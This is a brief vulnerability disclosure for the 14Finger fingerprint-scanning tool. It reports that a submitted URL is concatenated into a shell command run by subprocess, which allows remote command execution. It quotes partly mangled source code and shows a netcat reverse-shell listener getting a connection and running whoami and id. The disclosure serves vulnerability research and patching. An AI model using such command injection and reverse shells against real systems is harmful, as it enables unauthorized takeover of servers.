## **14Finger Unauthorized Remote Command Execution**

# **Vulnerability**

There is an unauthorized remote command execution vulnerability at the fingerprint scanning point of the core function



Through the audit source code, you can see that when only\_spider is false, spider is true, you will execute the crawl\_site()

#### function

```
def finger_scan(targer_url: str, fingers: list, setting: dict):
    对该url做全指纹扫描
    :param fingers:
    browser = setting['browser'] # 是否开启模拟浏览器 spider = setting['spider'] # 是否开启爬虫 only_spider = setting['only_spider'] # 仅使用爬虫
    urls = []
    if not only_spider:
        if spider:
            urls = crawl_site(targer_url) # 先爬再扫
            urls.append(targer_url)
        tasks = []
for url in urls:
             tasks.append(thread_pool.submit_task(get_fingers, url, fingers, res, browser))
        wait(tasks, return_when=ALL_COMPLETED)
        res = sorted(res.values(), key=lambda x: x['count'], reverse=True)
        urls = crawl_site(targer_url)
    urls_res = []
    count = 1
```

Continue to follow up, find that the submitted URL will be stitched to CMD, handed over to the subprocess module of Python for execution, and arbitrarily commands can be executed by constructing

### Payload.

#### Exploit:

```
→ 14Finger-docker nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 172.22.0.3 35390
whoami
test
id
uid=1000(test) gid=1000(test) groups=1000(test)
```

## SUCCEED!